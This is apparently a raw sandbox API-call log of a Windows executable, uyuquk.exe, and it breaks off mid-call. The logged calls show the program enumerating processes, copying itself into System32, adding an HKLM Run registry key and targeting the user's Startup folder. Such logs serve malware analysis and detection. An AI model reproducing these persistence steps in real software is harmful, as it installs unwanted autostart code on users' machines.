Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.453] lstrlenW (lpString="svchost.exe") returned 11 [0032.453] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0032.453] lstrlenW (lpString="dwm.exe") returned 7 [0032.453] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0032.454] lstrlenW (lpString="explorer.exe") returned 12 [0032.454] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0032.454] lstrlenW (lpString="spoolsv.exe") returned 11 [0032.454] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0032.455] lstrlenW (lpString="taskhost.exe") returned 12 [0032.455] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0032.455] lstrlenW (lpString="svchost.exe") returned 11 [0032.455] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0032.456] lstrlenW (lpString="taskeng.exe") returned 11 [0032.456] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0032.456] lstrlenW (lpString="taskhost.exe") returned 12 [0032.456] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0032.457] lstrlenW (lpString="dear.exe") returned 8 [0032.457] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0032.457] lstrlenW (lpString="b costa.exe") returned 11 [0032.457] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0032.457] lstrlenW (lpString="rc lock.exe") returned 11 [0032.457] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0032.458] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0032.458] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0032.458] lstrlenW (lpString="hugown.exe") returned 10 [0032.458] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0032.459] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0032.459] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0032.459] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0032.459] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0032.460] lstrlenW (lpString="locked welsh.exe") returned 16 [0032.460] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0032.460] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0032.460] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0032.461] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0032.461] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0032.461] lstrlenW (lpString="planners.exe") returned 12 [0032.461] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0032.462] lstrlenW (lpString="agreements.exe") returned 14 [0032.462] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0032.462] lstrlenW (lpString="tray.exe") returned 8 [0032.462] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0032.462] lstrlenW (lpString="wp std.exe") returned 10 [0032.462] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0032.463] lstrlenW (lpString="lesser.exe") returned 10 [0032.463] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0032.465] lstrlenW (lpString="right-tissue.exe") returned 16 [0032.465] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0032.465] lstrlenW (lpString="bunch.exe") returned 9 [0032.465] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0032.465] lstrlenW (lpString="jam.exe") returned 7 [0032.466] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0032.466] lstrlenW (lpString="chooseincidence.exe") returned 19 [0032.466] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0032.466] lstrlenW (lpString="numericalrear.exe") returned 17 [0032.466] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0032.467] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0032.467] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0032.467] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0032.467] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0032.468] lstrlenW (lpString="come_wave.exe") returned 13 [0032.468] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0032.468] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0032.468] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0032.469] lstrlenW (lpString="dllhost.exe") returned 11 [0032.469] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0032.469] lstrlenW (lpString="dllhost.exe") returned 11 [0032.469] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0032.470] lstrlenW (lpString="uyuquk.exe") returned 10 [0032.470] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 0 [0032.470] CloseHandle (hObject=0xe0) returned 1 [0032.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545268 | out: hHeap=0x510000) returned 1 [0032.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5452b0 | out: hHeap=0x510000) returned 1 [0032.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5452f8 | out: hHeap=0x510000) returned 1 [0032.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545318 | out: hHeap=0x510000) returned 1 [0032.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545360 | out: hHeap=0x510000) returned 1 [0032.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544a00 | out: hHeap=0x510000) returned 1 [0032.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524718 | out: hHeap=0x510000) returned 1 [0032.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524750 | out: hHeap=0x510000) returned 1 [0032.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524348 | out: hHeap=0x510000) returned 1 [0032.471] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524370 | out: hHeap=0x510000) returned 1 [0032.471] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524798 | out: hHeap=0x510000) returned 1 [0032.471] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524398 | out: hHeap=0x510000) returned 1 [0032.471] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x54b428 [0032.471] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x55b430 [0032.471] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.471] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x524398 [0032.471] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524398, Size=0x40) returned 0x5469a8 [0032.471] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.471] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x524398 [0032.471] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.471] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x524370 [0032.471] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.471] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x524348 [0032.472] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524348, Size=0x40) returned 0x5469f0 [0032.472] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x55b430, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uyuquk.exe")) returned 0x30 [0032.472] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x56b438 [0032.472] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57b440 [0032.472] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.472] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x524348 [0032.472] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524348, Size=0x40) returned 0x546a38 [0032.472] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a38, Size=0x80) returned 0x545268 [0032.472] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545268, Size=0x100) returned 0x547bb0 [0032.472] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.472] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547bb0 | out: hHeap=0x510000) returned 1 [0032.472] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\uyuquk.exe", lpDst=0x56b438, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\uyuquk.exe") returned 0x1f [0032.472] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b440 | out: hHeap=0x510000) returned 1 [0032.472] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b438 | out: hHeap=0x510000) returned 1 [0032.472] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x2140020 [0032.473] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.473] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x524348 [0032.473] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.473] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x545930 [0032.473] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.473] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.473] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0032.473] lstrlenW (lpString="kernel32.dll") returned 12 [0032.473] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524348 | out: hHeap=0x510000) returned 1 [0032.473] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.473] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545930 | out: hHeap=0x510000) returned 1 [0032.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uyuquk.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0032.473] CreateFileW (lpFileName="C:\\Windows\\System32\\uyuquk.exe" (normalized: "c:\\windows\\system32\\uyuquk.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0032.475] ReadFile (in: hFile=0xe0, lpBuffer=0x2140020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2140020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0032.488] WriteFile (in: hFile=0xe4, lpBuffer=0x2140020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2140020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0032.491] ReadFile (in: hFile=0xe0, lpBuffer=0x2140020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2140020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0032.491] CloseHandle (hObject=0xe4) returned 1 [0032.494] CloseHandle (hObject=0xe0) returned 1 [0032.494] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.494] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x545930 [0032.494] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.494] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x5458e0 [0032.494] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.494] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.494] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0032.494] lstrlenW (lpString="kernel32.dll") returned 12 [0032.494] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5458e0 | out: hHeap=0x510000) returned 1 [0032.494] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.495] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545930 | out: hHeap=0x510000) returned 1 [0032.495] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x2140020 | out: hHeap=0x510000) returned 1 [0032.499] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.499] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x545930 [0032.499] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545930, Size=0x40) returned 0x546a38 [0032.499] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a38, Size=0x80) returned 0x56b450 [0032.499] lstrlenW (lpString="C:\\Windows\\System32\\uyuquk.exe") returned 30 [0032.499] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0032.500] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5c) returned 0x545268 [0032.500] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0032.500] RegSetValueExW (in: hKey=0xe0, lpValueName="uyuquk.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\uyuquk.exe", cbData=0x3c | out: lpData="C:\\Windows\\System32\\uyuquk.exe") returned 0x0 [0032.501] RegCloseKey (hKey=0xe0) returned 0x0 [0032.501] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545268 | out: hHeap=0x510000) returned 1 [0032.501] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0032.501] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b450 | out: hHeap=0x510000) returned 1 [0032.501] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x56d438 [0032.501] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57d440 [0032.501] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a00 [0032.501] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a00, Size=0x20) returned 0x545930 [0032.501] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545930, Size=0x40) returned 0x546a38 [0032.501] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a38, Size=0x80) returned 0x56b450 [0032.501] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b450, Size=0x100) returned 0x547bb0 [0032.501] lstrlenW (lpString="") returned 0 [0032.501] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.501] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x547cb8 [0032.502] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0032.502] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x57d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x57d440*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0032.502] RegCloseKey (hKey=0xe0) returned 0x0 [0032.502] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547cb8 | out: hHeap=0x510000) returned 1 [0032.502] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.502] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x547cb8 [0032.502] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0032.502] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x57d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0032.502] RegCloseKey (hKey=0xe4) returned 0x0 [0032.502] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547cb8 | out: hHeap=0x510000) returned 1 [0032.502] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0032.502] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.502] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547bb0 | out: hHeap=0x510000) returned 1 [0032.502] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe", lpDst=0x56d438, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe") returned 0x67 [0032.502] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d440 | out: hHeap=0x510000) returned 1 [0032.502] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56d438 | out: hHeap=0x510000) returned 1 [0032.502] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x2140020 [0032.503] RtlAllocateHeap 